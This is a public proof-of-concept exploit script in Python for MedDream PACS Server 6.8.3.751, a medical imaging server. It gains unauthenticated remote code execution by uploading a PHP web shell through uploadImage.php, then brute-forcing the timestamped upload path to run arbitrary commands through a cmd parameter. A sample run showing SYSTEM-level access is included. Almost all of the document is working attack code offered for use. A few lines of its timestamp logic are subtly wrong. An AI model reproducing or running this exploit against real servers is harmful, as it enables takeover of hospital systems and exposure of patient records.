MedDream PACS Server 6.8.3.751 – Remote Code Execution (Unauthenticated)

#!/usr/bin/python
#
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Unauthenticated)
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 10-10-2020
# Vulnerable Software: https://www.softneta.com/products/meddream-pacs-server/
# Vendor Homepage: https://www.softneta.com
# Version: 6.8.3.751
# Tested On: Windows 2016
#
#
# Update to EB 48853 < AUTHENTICATION WAS NOT NEEDED LOLZ
#
##PoC##
#
# 1. create one line php shell to call commands
# 2. run script on attacking machine
# 3. enter parameters; IP, filename, command
# 
#
# root@kali:~# python meddream.py 
# Enter IP Address: 192.168.0.223
# Enter payload filename + .php: cmd.php
# Enter command: whoami
# 170759
# 
nt authoritysystem
# 
# http://192.168.0.223/Pacs/upload/20201010-170759--cmd.php?cmd=whoami

# 404

# 404

# 404

# 404

# 404

# 404

# 404

# 404

# 404

#

#
from urllib2 import urlopen

import requests

import sys

import time

from datetime import datetime, timedelta
ip_addr = raw_input("Enter IP Address: ")

user_file = raw_input("Enter payload filename + .php: ")

cmd = raw_input("Enter command: ")
URL= 'http://' + ip_addr + '/Pacs/uploadImage.php'
def main():

    session = requests.Session() 
    files = [

    ('actionvalue', (None, 'Attach', None)),

    ('uploadfile', (user_file, open(user_file, 'rb'), 'application/x-php')),

    ('action', (None, 'Attach', None)),

    ]












    site = session.post(URL, files=files)
    today = datetime.today()

    upload_date = today.strftime("%Y%m%d")
    less = 1

    now1 = datetime.now()

    up_time1 = now1.strftime("%H%M%S")

    print(up_time1)

    #varying time checks +/-

    now2 = now1 - timedelta(seconds=less)

    up_time2 = now2.strftime("%H%M%S")

    now3 = now2 - timedelta(seconds=less)

    up_time3 = now3.strftime("%H%M%S")

    now4 = now3 - timedelta(seconds=less)

    up_time4 = now4.strftime("%H%M%S")

    now5 = now4 - timedelta(seconds=less)

    up_time5 = now5.strftime("%H%M%S")

    now6 = now5 - timedelta(seconds=less)

    up_time6 = now6.strftime("%H%M%S")

    now7 = now6 - timedelta(seconds=less)

    up_time7 = now7.strftime("%H%M%S")

    now8 = now1 + timedelta(seconds=less)

    up_time8 = now8.strftime("%H%M%S")

    now9 = now8 + timedelta(seconds=less)

    up_time9 = now8.strftime("%H%M%S")

    now10 = now1 + timedelta(seconds=less)

    up_time10 = now9.strftime("%H%M%S")
    up_time_array = [up_time1, up_time2, up_time3, up_time4, up_time5, up_time6, up_time7, up_time8, up_time9, up_time10]

    for i in up_time_array:

        r = session.get('http://' + ip_addr + '/Pacs/upload/'+ upload_date + "-" + i + "--" + user_file + "?cmd=" + cmd)

        if r.status_code == 200:

            print r.content

            print r.url

        else:

            print ("404")
if __name__ == '__main__':

    main()

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